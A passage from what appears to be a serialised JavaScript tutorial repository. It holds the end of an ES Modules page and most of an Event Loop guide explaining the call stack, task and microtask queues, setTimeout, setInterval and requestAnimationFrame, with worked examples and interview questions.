splitting, minification, and better caching strategies. For small projects or prototypes, native browser ESM works well without a bundler.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"IIFE, Modules & Namespaces\" icon=\"box\" href=\"/concepts/iife-modules\">\n    The history of JavaScript modules and foundational patterns\n  </Card>\n  <Card title=\"async/await\" icon=\"clock\" href=\"/concepts/async-await\">\n    Used with dynamic imports and top-level await\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    How module scope isolates variables\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"shapes\" href=\"/concepts/design-patterns\">\n    Module pattern and other encapsulation patterns\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Modules Guide — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules\">\n    Comprehensive guide to using modules in JavaScript\n  </Card>\n  <Card title=\"import statement — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import\">\n    Complete reference for static import syntax\n  </Card>\n  <Card title=\"export statement — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export\">\n    Complete reference for export syntax\n  </Card>\n  <Card title=\"import() operator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import\">\n    Dynamic import syntax and behavior\n  </Card>\n  <Card title=\"import.meta — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta\">\n    Module metadata including URL and Node.js properties\n  </Card>\n  <Card title=\"Import maps — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap\">\n    Browser support for bare module specifiers\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"ES Modules: A Cartoon Deep-Dive\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/\">\n    Lin Clark's illustrated guide explains how ES Modules work under the hood. The best visual explanation of module loading, linking, and evaluation you'll find.\n  </Card>\n  <Card title=\"JavaScript Modules\" icon=\"newspaper\" href=\"https://javascript.info/modules\">\n    The javascript.info series covers modules comprehensively. Includes interactive examples and exercises to test your understanding.\n  </Card>\n  <Card title=\"Node.js ES Modules Documentation\" icon=\"newspaper\" href=\"https://nodejs.org/api/esm.html\">\n    The official Node.js documentation for ES Modules. Covers enabling ESM, interoperability with CommonJS, import.meta, and the resolution algorithm.\n  </Card>\n  <Card title=\"ES6 Modules in Depth\" icon=\"newspaper\" href=\"https://ponyfoo.com/articles/es6-modules-in-depth\">\n    Nicolás Bevacqua's deep dive into module syntax and semantics. Great for understanding the design decisions behind ESM.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript ES6 Modules\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cRHQNNcYf6s\">\n    Web Dev Simplified breaks down import/export syntax with clear examples. Perfect for solidifying your understanding of the basics.\n  </Card>\n  <Card title=\"ES Modules in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=qgRUr-YUk1Q\">\n    Fireship's rapid-fire overview of ES Modules. Great for a quick refresher or introduction to the key concepts.\n  </Card>\n  <Card title=\"JavaScript Modules Past & Present\" icon=\"video\" href=\"https://www.youtube.com/watch?v=GQ96b_u7rGc\">\n    Historical context on how JavaScript modules evolved from IIFEs to CommonJS to ESM. Helps you understand why ESM is designed the way it is.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/event-loop.mdx",
    "content": "---\ntitle: \"Event Loop\"\nsidebarTitle: \"Event Loop: How Async Code Actually Runs\"\ndescription: \"Learn how the JavaScript event loop handles async code. Understand the call stack, task queue, microtasks, and why Promises always run before setTimeout().\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functions & Execution\"\n\"article:tag\": \"javascript event loop, call stack task queue, microtasks promises, setTimeout, single threaded async\"\n---\n\nHow does JavaScript handle multiple things at once when it can only do one thing at a time? Why does this code print in a surprising order?\n\n```javascript\nconsole.log('Start');\nsetTimeout(() => console.log('Timeout'), 0);\nPromise.resolve().then(() => console.log('Promise'));\nconsole.log('End');\n\n// Output:\n// Start\n// End\n// Promise\n// Timeout\n```\n\nEven with a 0ms delay, `Timeout` prints last. The answer lies in the **[event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model)**. It's JavaScript's mechanism for handling asynchronous operations while remaining single-threaded.\n\n<Info>\n**What you'll learn in this guide:**\n- Why JavaScript needs an event loop (and what \"single-threaded\" really means)\n- How setTimeout REALLY works (spoiler: the delay is NOT guaranteed!)\n- The difference between tasks and microtasks (and why it matters)\n- Why `Promise.then()` runs before `setTimeout(..., 0)`\n- How to use setTimeout, setInterval, and requestAnimationFrame effectively\n- Common interview questions explained step-by-step\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes familiarity with [the call stack](/concepts/call-stack) and [Promises](/concepts/promises). If those concepts are new to you, read them first!\n</Warning>\n\n---\n\n## What is the Event Loop?\n\nThe **event loop** is JavaScript's mechanism for executing code, handling events, and managing asynchronous operations. As defined in the WHATWG HTML Living Standard, it coordinates execution by checking callback queues when the call stack is empty, then pushing queued tasks to the stack for execution. This enables non-blocking behavior despite JavaScript being single-threaded.\n\n### The Restaurant Analogy\n\nImagine a busy restaurant kitchen with a **single chef** who can only cook one dish at a time. Despite this limitation, the restaurant serves hundreds of customers because the kitchen has a clever system:\n\n```\nTHE JAVASCRIPT KITCHEN\n\n                                         ┌─────────────────────────┐\n┌────────────────────────────────┐       │      KITCHEN TIMERS     │\n│         ORDER SPIKE            │       │      (Web APIs)         │\n│        (Call Stack)            │       │                         │\n│  ┌──────────────────────────┐  │       │  [Timer: 3 min - soup]  │\n│  │  Currently cooking:      │  │       │  [Timer: 10 min - roast]│\n│  │  \"grilled cheese\"        │  │       │  [Waiting: delivery]    │\n│  ├──────────────────────────┤  │       │                         │\n│  │  Next: \"prep salad\"      │  │       └───────────┬─────────────┘\n│  └──────────────────────────┘  │                   │\n└────────────────────────────────┘                   │ (timer done!)\n          ▲                                          ▼\n          │                          ┌──────────────────────────────┐\n          │                          │      \"ORDER UP!\" WINDOW      │\n    KITCHEN MANAGER                  │        (Task Queue)          │\n     (Event Loop)                    │                              │\n                                     │  [soup ready] [delivery here]│\n    \"Chef free? ────────────────────►│                              │\n     Here's the next order!\"         └──────────────────────────────┘\n          │                                          ▲\n          │                          ┌───────────────┴──────────────┐\n          │                          │       VIP RUSH ORDERS        │\n          └──────────────────────────│      (Microtask Queue)       │\n             (VIP orders first!)     │                              │\n                                     │  [plating] [garnish]         │\n                                     └──────────────────────────────┘\n```\n\nHere's how it maps to JavaScript:\n\n| Kitchen | JavaScript |\n|---------|------------|\n| **Single Chef** | JavaScript engine (single-threaded) |\n| **Order Spike** | Call Stack (current work, LIFO) |\n| **Kitchen Timers** | Web APIs (setTimeout, fetch, etc.) |\n| **\"Order Up!\" Window** | Task Queue (callbacks waiting) |\n| **VIP Rush Orders** | Microtask Queue (promises, high priority) |\n| **Kitchen Manager** | Event Loop (coordinator) |\n\nThe chef (JavaScript) can only work on one dish (task) at a time. But kitchen timers (Web APIs) run independently! When a timer goes off, the dish goes to the \"Order Up!\" window (Task Queue). The kitchen manager (Event Loop) constantly checks: \"Is the chef free? Here's the next order!\"\n\n**VIP orders (Promises)** always get priority. They jump ahead of regular orders in the queue.\n\n<Note>\n**TL;DR:** JavaScript is single-threaded but achieves concurrency by delegating work to browser APIs, which run in the background. When they're done, callbacks go into queues. The Event Loop moves callbacks from queues to the call stack when it's empty.\n</Note>\n\n---\n\n## The Problem: JavaScript is Single-Threaded\n\nJavaScript can only do **one thing at a time**. There's one call stack, one thread of execution.\n\n```javascript\n// JavaScript executes these ONE AT A TIME, in order\nconsole.log('First');   // 1. This runs\nconsole.log('Second');  // 2. Then this\nconsole.log('Third');   // 3. Then this\n```\n\n### Why Is This a Problem?\n\nImagine if every operation blocked the entire program. Consider the [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API):\n\n```javascript\n// If fetch() was synchronous (blocking)...\nconst data = fetch('https://api.example.com/data'); // Takes 2 seconds\nconsole.log(data);\n// NOTHING else can happen for 2 seconds!\n// - No clicking buttons\n// - No scrolling\n// - No animations\n// - Complete UI freeze!\n```\n\nA 30-second API call would freeze your entire webpage for 30 seconds. Users would think the browser crashed! According to Google's Core Web Vitals research, any interaction that takes longer than 200 milliseconds to respond is perceived as sluggish by users.\n\n### The Solution: Asynchronous JavaScript\n\nJavaScript solves this by **delegating** long-running tasks to the browser (or Node.js), which handles them in the background. Functions like [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) don't block:\n\n```javascript\nconsole.log('Start');\n\n// This doesn't block! Browser handles the timer\nsetTimeout(() => {\n  console.log('Timer done');\n}, 2000);\n\nconsole.log('End');\n\n// Output:\n// Start\n// End\n// Timer done (after 2 seconds)\n```\n\nThe secret sauce that makes this work? **The Event Loop**.\n\n---\n\n## The JavaScript Runtime Environment\n\nTo understand the Event Loop, you need to see the full picture:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        JAVASCRIPT RUNTIME                               │\n│  ┌─────────────────────────────────────────────────────────────────┐   │\n│  │                      JAVASCRIPT ENGINE (V8, SpiderMonkey, etc.) │   │\n│  │  ┌───────────────────────┐    ┌───────────────────────────┐     │   │\n│  │  │      CALL STACK       │    │          HEAP             │     │   │\n│  │  │                       │    │                           │     │   │\n│  │  │  ┌─────────────────┐  │    │   { objects stored here } │     │   │\n│  │  │  │ processData()   │  │    │   [ arrays stored here ]  │     │   │\n│  │  │  ├─────────────────┤  │    │   function references     │     │   │\n│  │  │  │ fetchUser()     │  │    │                           │     │   │\n│  │  │  ├─────────────────┤  │    │                           │     │   │\n│  │  │  │ main()          │  │    │                           │     │   │\n│  │  │  └─────────────────┘  │    └───────────────────────────┘     │   │\n│  │  └───────────────────────┘                                      │   │\n│  └─────────────────────────────────────────────────────────────────┘   │\n│                                                                         │\n│  ┌─────────────────────────────────────────────────────────────────┐   │\n│  │                    BROWSER / NODE.js APIs                        │   │\n│  │                                                                  │   │\n│  │   setTimeout()    setInterval()    fetch()    DOM events         │   │\n│  │   requestAnimationFrame()    IndexedDB    WebSockets             │   │\n│  │                                                                  │   │\n│  │   (These are handled outside of JavaScript execution!)           │   │\n│  └─────────────────────────────────────────────────────────────────┘   │\n│                                    │                                    │\n│                                    │ callbacks                          │\n│                                    ▼                                    │\n│  ┌──────────────────────────────────────────────────────────────────┐  │\n│  │  MICROTASK QUEUE                    TASK QUEUE (Macrotask)       │  │\n│  │  ┌────────────────────────┐        ┌─────────────────────────┐   │  │\n│  │  │ Promise.then()         │        │ setTimeout callback     │   │  │\n│  │  │ queueMicrotask()       │        │ setInterval callback    │   │  │\n│  │  │ MutationObserver       │        │ I/O callbacks           │   │  │\n│  │  │ async/await (after)    │        │ UI event handlers       │   │  │\n│  │  └────────────────────────┘        │ Event handlers          │   │  │\n│  │         ▲                          └─────────────────────────┘   │  │\n│  │         │ HIGHER PRIORITY                    ▲                   │  │\n│  └─────────┼────────────────────────────────────┼───────────────────┘  │\n│            │                                    │                       │\n│            └──────────┬─────────────────────────┘                       │\n│                       │                                                 │\n│              ┌────────┴────────┐                                        │\n│              │   EVENT LOOP    │                                        │\n│              │                 │                                        │\n│              │  \"Is the call   │                                        │\n│              │   stack empty?\" ├──────────► Push next callback          │\n│              │                 │            to call stack               │\n│              └─────────────────┘                                        │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The Components\n\n<AccordionGroup>\n  <Accordion title=\"Call Stack\">\n    The **[Call Stack](/concepts/call-stack)** is where JavaScript keeps track of what function is currently running. It's a LIFO (Last In, First Out) structure, like a stack of plates.\n    \n    ```javascript\n    function multiply(a, b) {\n      return a * b;\n    }\n    \n    function square(n) {\n      return multiply(n, n);\n    }\n    \n    function printSquare(n) {\n      const result = square(n);\n      console.log(result);\n    }\n    \n    printSquare(4);\n    ```\n    \n    Call stack progression:\n    ```\n    1. [printSquare]\n    2. [square, printSquare]\n    3. [multiply, square, printSquare]\n    4. [square, printSquare]        // multiply returns\n    5. [printSquare]                 // square returns\n    6. [console.log, printSquare]\n    7. [printSquare]                 // console.log returns\n    8. []                            // printSquare returns\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Heap\">\n    The **Heap** is a large, mostly unstructured region of memory where objects, arrays, and functions are stored. When you create an object, it lives in the heap.\n    \n    ```javascript\n    const user = { name: 'Alice' };  // Object stored in heap\n    const numbers = [1, 2, 3];       // Array stored in heap\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Web APIs (Browser) / C++ APIs (Node.js)\">\n    These are **NOT** part of JavaScript itself! They're provided by the environment:\n    \n    **Browser APIs:**\n    - [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout), [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/setInterval)\n    - [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API), `XMLHttpRequest`\n    - DOM events (click, scroll, etc.)\n    - [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)\n    - Geolocation, WebSockets, IndexedDB\n    \n    **Node.js APIs:**\n    - File system operations\n    - Network requests\n    - Timers\n    - Child processes\n    \n    These are handled by the browser/Node.js runtime outside of JavaScript execution, allowing JavaScript to remain non-blocking.\n  </Accordion>\n  \n  <Accordion title=\"Task Queue (Macrotask Queue)\">\n    The **Task Queue** holds callbacks from:\n    - `setTimeout` and `setInterval`\n    - I/O operations\n    - UI rendering tasks\n    - Event handlers (click, keypress, etc.)\n    - `setImmediate` (Node.js)\n    \n    Tasks are processed **one at a time**, with potential rendering between them.\n  </Accordion>\n  \n  <Accordion title=\"Microtask Queue\">\n    The **Microtask Queue** holds high-priority callbacks from:\n    - `Promise.then()`, `.catch()`, `.finally()`\n    - [`queueMicrotask()`](https://developer.mozilla.org/en-US/docs/Web/API/queueMicrotask)\n    - [`MutationObserver`](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver)\n    - Code after `await` in [async functions](/concepts/async-await)\n    \n    **Microtasks ALWAYS run before the next task!** The entire microtask queue is drained before moving to the task queue.\n  </Accordion>\n  \n  <Accordion title=\"Event Loop\">\n    The **Event Loop** is the orchestrator. Its job is simple but crucial:\n    \n    ```\n    FOREVER:\n      1. Execute all code in the Call Stack until empty\n      2. Execute ALL microtasks (until microtask queue is empty)\n      3. Render if needed (update the UI)\n      4. Take ONE task from the task queue\n      5. Go to step 1\n    ```\n    \n    The key insight: **Microtasks can starve the task queue!** If microtasks keep adding more microtasks, tasks (and rendering) never get a chance to run.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## How the Event Loop Works: Step-by-Step\n\nLet's trace through some examples to see the event loop in action.\n\n### Example 1: Basic setTimeout\n\n```javascript\nconsole.log('Start');\n\nsetTimeout(() => {\n  console.log('Timeout');\n}, 0);\n\nconsole.log('End');\n```\n\n**Output:** `Start`, `End`, `Timeout`\n\n**Why?** Let's trace it step by step:\n\n<Steps>\n  <Step title=\"Execute console.log('Start')\">\n    Call stack: `[console.log]` → prints \"Start\" → stack empty\n    \n    ```\n    Call Stack: [console.log('Start')]\n    Web APIs: []\n    Task Queue: []\n    Output: \"Start\"\n    ```\n  </Step>\n  \n  <Step title=\"Execute setTimeout()\">\n    `setTimeout` is called → registers timer with Web APIs → immediately returns\n    \n    ```\n    Call Stack: []\n    Web APIs: [Timer: 0ms → callback]\n    Task Queue: []\n    ```\n    \n    The timer is handled by the browser, NOT JavaScript!\n  </Step>\n  \n  <Step title=\"Timer completes (0ms)\">\n    Browser's timer finishes → callback moves to Task Queue\n    \n    ```\n    Call Stack: []\n    Web APIs: []\n    Task Queue: [callback]\n    ```\n  </Step>\n  \n  <Step title=\"Execute console.log('End')\">\n    But wait! We're still running the main script!\n    \n    ```\n    Call Stack: [console.log('End')]\n    Task Queue: [callback]\n    Output: \"Start\", \"End\"\n    ```\n  </Step>\n  \n  <Step title=\"Main script complete, Event Loop checks queues\">\n    Call stack is empty → Event Loop takes callback from Task Queue\n    \n    ```\n    Call Stack: [callback]\n    Task Queue: []\n    Output: \"Start\", \"End\", \"Timeout\"\n    ```\n  </Step>\n</Steps>\n\n<Warning>\n**Key insight:** Even with a 0ms delay, `setTimeout` callback NEVER runs immediately. It must wait for:\n1. The current script to finish\n2. All microtasks to complete\n3. Its turn in the task queue\n</Warning>\n\n### Example 2: Promises vs setTimeout\n\n```javascript\nconsole.log('1');\n\nsetTimeout(() => console.log('2'), 0);\n\nPromise.resolve().then(() => console.log('3'));\n\nconsole.log('4');\n```\n\n**Output:** `1`, `4`, `3`, `2`\n\n**Why does `3` come before `2`?**\n\n<Steps>\n  <Step title=\"Synchronous code runs first\">\n    `console.log('1')` → prints \"1\"\n    \n    `setTimeout` → registers callback in Web APIs → callback goes to **Task Queue**\n    \n    `Promise.resolve().then()` → callback goes to **Microtask Queue**\n    \n    `console.log('4')` → prints \"4\"\n    \n    ```\n    Output so far: \"1\", \"4\"\n    Microtask Queue: [Promise callback]\n    Task Queue: [setTimeout callback]\n    ```\n  </Step>\n  \n  <Step title=\"Microtasks run before tasks\">\n    Call stack empty → Event Loop checks **Microtask Queue first**\n    \n    Promise callback runs → prints \"3\"\n    \n    ```\n    Output so far: \"1\", \"4\", \"3\"\n    Microtask Queue: []\n    Task Queue: [setTimeout callback]\n    ```\n  </Step>\n  \n  <Step title=\"Task Queue processed\">\n    Microtask queue empty → Event Loop takes from Task Queue\n    \n    setTimeout callback runs → prints \"2\"\n    \n    ```\n    Final output: \"1\", \"4\", \"3\", \"2\"\n    ```\n  </Step>\n</Steps>\n\n<Tip>\n**The Golden Rule:** Microtasks (Promises) ALWAYS run before Macrotasks (setTimeout), regardless of which was scheduled first.\n</Tip>\n\n### Example 3: Nested Microtasks\n\n```javascript\nconsole.log('Start');\n\nPromise.resolve()\n  .then(() => {\n    console.log('Promise 1');\n    Promise.resolve().then(() => console.log('Promise 2'));\n  });\n\nsetTimeout(() => console.log('Timeout'), 0);\n\nconsole.log('End');\n```\n\n**Output:** `Start`, `End`, `Promise 1`, `Promise 2`, `Timeout`\n\nEven though the second promise is created AFTER setTimeout was registered, it still runs first because the **entire microtask queue must be drained** before any task runs!\n\n---\n\n## Tasks vs Microtasks: The Complete Picture\n\n### What Creates Tasks (Macrotasks)?\n\n| Source | Description |\n|--------|-------------|\n| `setTimeout(fn, delay)` | Runs `fn` after at least `delay` ms |\n| `setInterval(fn, delay)` | Runs `fn` repeatedly every ~`delay` ms |\n| I/O callbacks | Network responses, file reads |\n| UI Events | click, scroll, keydown, mousemove |\n| `setImmediate(fn)` | Node.js only, runs after I/O |\n| [`MessageChannel`](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel) | `postMessage` callbacks |\n\n<Note>\n**What about requestAnimationFrame?** rAF is NOT a task. It runs during the rendering phase, after microtasks but before the browser paints. It's covered in detail in the [Timers section](#requestanimationframe-smooth-animations).\n</Note>\n\n### What Creates Microtasks?\n\n| Source | Description |\n|--------|-------------|\n| `Promise.then/catch/finally` | When promise settles |\n| `async/await` | Code after `await` |\n| `queueMicrotask(fn)` | Explicitly queue a microtask |\n| `MutationObserver` | When DOM changes |\n\n### The Event Loop Algorithm (Simplified)\n\n```javascript\n// Pseudocode for the Event Loop (per HTML specification)\nwhile (true) {\n  // 1. Process ONE task from the task queue (if available)\n  if (taskQueue.hasItems()) {\n    const task = taskQueue.dequeue();\n    execute(task);\n  }\n  \n  // 2. Process ALL microtasks (until queue is empty)\n  while (microtaskQueue.hasItems()) {\n    const microtask = microtaskQueue.dequeue();\n    execute(microtask);\n    // New microtasks added during execution are also processed!\n  }\n  \n  // 3. Render if needed (browser decides, typically ~60fps)\n  if (shouldRender()) {\n    // 3a. Run requestAnimationFrame callbacks\n    runAnimationFrameCallbacks();\n    // 3b. Perform style calculation, layout, and paint\n    render();\n  }\n  \n  // 4. Repeat (go back to step 1)\n}\n```\n\n<Warning>\n**Microtask Starvation:** If microtasks keep adding more microtasks, the task queue (and rendering!) will never get a chance to run:\n\n```javascript\n// DON'T DO THIS - infinite microtask loop!\nfunction forever() {\n  Promise.resolve().then(forever);\n}\nforever(); // Browser freezes!\n```\n</Warning>\n\n---\n\n## JavaScript Timers: setTimeout, setInterval, requestAnimationFrame\n\nNow that you understand the event loop, let's dive deep into JavaScript's timing functions.\n\n### setTimeout: One-Time Delayed Execution\n\n```javascript\n// Syntax\nconst timerId = setTimeout(callback, delay, ...args);\n\n// Cancel before it runs\nclearTimeout(timerId);\n```\n\n**Basic usage:**\n\n```javascript\n// Run after 2 seconds\nsetTimeout(() => {\n  console.log('Hello after 2 seconds!');\n}, 2000);\n\n// Pass arguments to the callback\nsetTimeout((name, greeting) => {\n  console.log(`${greeting}, ${name}!`);\n}, 1000, 'Alice', 'Hello');\n// Output after 1s: \"Hello, Alice!\"\n```\n\n**Canceling a timeout:**\n\n```javascript\nconst timerId = setTimeout(() => {\n  console.log('This will NOT run');\n}, 5000);\n\n// Cancel it before it fires\nclearTimeout(timerId);\n```\n\n#### The \"Zero Delay\" Myth\n\n`setTimeout(fn, 0)` does NOT run immediately!\n\n```javascript\nconsole.log('A');\nsetTimeout(() => console.log('B'), 0);\nconsole.log('C');\n\n// Output: A, C, B (NOT A, B, C!)\n```\n\nEven with 0ms delay, the callback must wait for:\n1. Current script to complete\n2. All microtasks to drain\n3. Its turn in the task queue\n\n#### The Minimum Delay (4ms Rule)\n\nAfter 5 nested timeouts, browsers enforce a minimum 4ms delay:\n\n```javascript\nlet start = Date.now();\nlet times = [];\n\nsetTimeout(function run() {\n  times.push(Date.now() - start);\n  if (times.length < 10) {\n    setTimeout(run, 0);\n  } else {\n    console.log(times);\n  }\n}, 0);\n\n// Typical output (varies by browser/system): [1, 1, 1, 1, 4, 9, 14, 19, 24, 29]\n// First 4-5 are fast, then 4ms minimum kicks in\n```\n\n<Warning>\n**setTimeout delay is a MINIMUM, not a guarantee!**\n\n```javascript\nconst start = Date.now();\n\nsetTimeout(() => {\n  console.log(`Actual delay: ${Date.now() - start}ms`);\n}, 100);\n\n// Heavy computation blocks the event loop\nfor (let i = 0; i < 1000000000; i++) {}\n\n// Output might be: \"Actual delay: 2547ms\" (NOT 100ms!)\n```\n\nIf the call stack is busy, the timeout callback must wait.\n</Warning>\n\n### setInterval: Repeated Execution\n\n```javascript\n// Syntax\nconst intervalId = setInterval(callback, delay, ...args);\n\n// Stop the interval\nclearInterval(intervalId);\n```\n\n**Basic usage:**\n\n```javascript\nlet count = 0;\n\nconst intervalId = setInterval(() => {\n  count++;\n  console.log(`Count: ${count}`);\n  \n  if (count >= 5) {\n    clearInterval(intervalId);\n    console.log('Done!');\n  }\n}, 1000);\n\n// Output every second: Count: 1, Count: 2, ... Count: 5, Done!\n```\n\n#### The setInterval Drift Problem\n\n`setInterval` doesn't account for callback execution time:\n\n```javascript\n// Problem: If callback takes 300ms, and interval is 1000ms,\n// actual time between START of callbacks is 1000ms,\n// but time between END of one and START of next is only 700ms\n\nsetInterval(() => {\n  // This takes 300ms to execute\n  heavyComputation();\n}, 1000);\n```\n\n```\nTime:     0ms    1000ms   2000ms   3000ms\n          │       │        │        │\nsetInterval│───────│────────│────────│\n          │  300ms │  300ms │  300ms │\n          │callback│callback│callback│\n          │       │        │        │\n          \nThe 1000ms is between STARTS, not between END and START\n```\n\n#### Solution: Nested setTimeout\n\nFor more precise timing, use nested `setTimeout`:\n\n```javascript\n// Nested setTimeout guarantees delay BETWEEN executions\nfunction preciseInterval(callback, delay) {\n  function tick() {\n    callback();\n    setTimeout(tick, delay);  // Schedule next AFTER current completes\n  }\n  setTimeout(tick, delay);\n}\n\n// Now there's exactly `delay` ms between the END of one\n// callback and the START of the next\n```\n\n```\nTime:     0ms    1300ms   2600ms   3900ms\n          │       │        │        │\nNested    │───────│────────│────────│\nsetTimeout│  300ms│  300ms │  300ms │\n          │   +   │   +    │   +    │\n          │ 1000ms│ 1000ms │ 1000ms │\n          │ delay │ delay  │ delay  │\n```\n\n<Tip>\n**When to use which:**\n- **setInterval**: For simple UI updates that don't depend on previous execution\n- **Nested setTimeout**: For sequential operations, API polling, or when timing precision matters\n</Tip>\n\n### requestAnimationFrame: Smooth Animations\n\n`requestAnimationFrame` (rAF) is designed specifically for animations. It syncs with the browser's refresh rate (usually 60fps = ~16.67ms per frame).\n\n```javascript\n// Syntax\nconst rafId = requestAnimationFrame(callback);\n\n// Cancel\ncancelAnimationFrame(rafId);\n```\n\n**Basic animation loop:**\n\n```javascript\nfunction animate(timestamp) {\n  // timestamp = time since page load in ms\n  \n  // Update animation state\n  element.style.left = (timestamp / 10) + 'px';\n  \n  // Request next frame\n  requestAnimationFrame(animate);\n}\n\n// Start the animation\nrequestAnimationFrame(animate);\n```\n\n#### Why requestAnimationFrame is Better for Animations\n\n| Feature | setTimeout/setInterval | requestAnimationFrame |\n|---------|----------------------|----------------------|\n| **Sync with display** | No | Yes (matches refresh rate) |\n| **Battery efficient** | No | Yes (pauses in background tabs) |\n| **Smooth animations** | Can be janky | Optimized by browser |\n| **Timing accuracy** | Can drift | Consistent frame timing |\n| **CPU usage** | Runs even if tab hidden | Pauses when tab hidden |\n\n**Example: Animating with rAF**\n\n```javascript\nconst box = document.getElementById('box');\nlet position = 0;\nlet lastTime = null;\n\nfunction animate(currentTime) {\n  // Handle first frame (no previous time yet)\n  if (lastTime === null) {\n    lastTime = currentTime;\n    requestAnimationFrame(animate);\n    return;\n  }\n  \n  // Calculate time since last frame\n  const deltaTime = currentTime - lastTime;\n  lastTime = currentTime;\n  \n  // Move 100 pixels per second, regardless of frame rate\n  const speed = 100; // pixels per second\n  position += speed * (deltaTime / 1000);\n  \n  box.style.transform = `translateX(${position}px)`;\n  \n  // Stop at 500px\n  if (position < 500) {\n    requestAnimationFrame(animate);\n  }\n}\n\nrequestAnimationFrame(animate);\n```\n\n#### When requestAnimationFrame Runs\n\n```\nOne Event Loop Iteration:\n┌─────────────────────────────────────────────────────────────────┐\n│ 1. Run task from Task Queue                                     │\n├─────────────────────────────────────────────────────────────────┤\n│ 2. Run ALL microtasks                                           │\n├─────────────────────────────────────────────────────────────────┤\n│ 3. If time to render:                                           │\n│    a. Run requestAnimationFrame callbacks  ← HERE!              │\n│    b. Render/paint the screen                                   │\n├─────────────────────────────────────────────────────────────────┤\n│ 4. If idle time remains before next frame:                      │\n│    Run requestIdleCallback callbacks (non-essential work)       │\n└─────────────────────────────────────────────────────────────────┘\n```\n\n### Timer Comparison Summary\n\n<Tabs>\n  <Tab title=\"setTimeout\">\n    **Use for:** One-time delayed execution\n    \n    ```javascript\n    // Delay a function call\n    setTimeout(() => {\n      showNotification('Saved!');\n    }, 2000);\n    \n    // Debouncing\n    let timeoutId;\n    input.addEventListener('input', () => {\n      clearTimeout(timeoutId);\n      timeoutId = setTimeout(search, 300);\n    });\n    ```\n    \n    **Gotchas:**\n    - Delay is minimum, not guaranteed\n    - 4ms minimum after 5 nested calls\n    - Blocked by long-running synchronous code\n  </Tab>\n  \n  <Tab title=\"setInterval\">\n    **Use for:** Repeated execution at fixed intervals\n    \n    ```javascript\n    // Update clock every second\n    setInterval(() => {\n      clock.textContent = new Date().toLocaleTimeString();\n    }, 1000);\n    \n    // Poll server for updates\n    const pollId = setInterval(async () => {\n      const data = await fetchUpdates();\n      updateUI(data);\n    }, 5000);\n    ```\n    \n    **Gotchas:**\n    - Can drift if callbacks take long\n    - Multiple calls can queue up\n    - ALWAYS store the ID and call `clearInterval`\n    - Consider nested setTimeout for precision\n  </Tab>\n  \n  <Tab title=\"requestAnimationFrame\">\n    **Use for:** Animations and visual updates\n    \n    ```javascript\n    // Smooth animation\n    function animate() {\n      updatePosition();\n      draw();\n      requestAnimationFrame(animate);\n    }\n    requestAnimationFrame(animate);\n    \n    // Smooth scroll\n    function smoothScroll(target) {\n      const current = window.scrollY;\n      const distance = target - current;\n      \n      if (Math.abs(distance) > 1) {\n        window.scrollTo(0, current + distance * 0.1);\n        requestAnimationFrame(() => smoothScroll(target));\n      }\n    }\n    ```\n    \n    **Benefits:**\n    - Synced with display refresh (60fps)\n    - Pauses in background tabs (saves battery)\n    - Browser-optimized\n  </Tab>\n</Tabs>\n\n---\n\n## Classic Interview Questions\n\n### Question 1: Basic Output Order\n\n```javascript\nconsole.log('1');\nsetTimeout(() => console.log('2'), 0);\nPromise.resolve().then(() => console.log('3'));\nconsole.log('4');\n```\n\n<Accordion title=\"Answer\">\n**Output:** `1`, `4`, `3`, `2`\n\n**Explanation:**\n1. `console.log('1')` — synchronous, runs immediately → \"1\"\n2. `setTimeout` — callback goes to **Task Queue**\n3. `Promise.then` — callback goes to **Microtask Queue**\n4. `console.log('4')` — synchronous, runs immediately → \"4\"\n5. Call stack empty → drain Microtask Queue → \"3\"\n6. Microtask queue empty → process Task Queue → \"2\"\n</Accordion>\n\n### Question 2: Nested Promises and Timeouts\n\n```javascript\nsetTimeout(() => console.log('timeout 1'), 0);\n\nPromise.resolve().then(() => {\n  console.log('promise 1');\n  Promise.resolve().then(() => console.log('promise 2'));\n});\n\nsetTimeout(() => console.log('timeout 2'), 0);\n\nconsole.log('sync');\n```\n\n<Accordion title=\"Answer\">\n**Output:** `sync`, `promise 1`, `promise 2`, `timeout 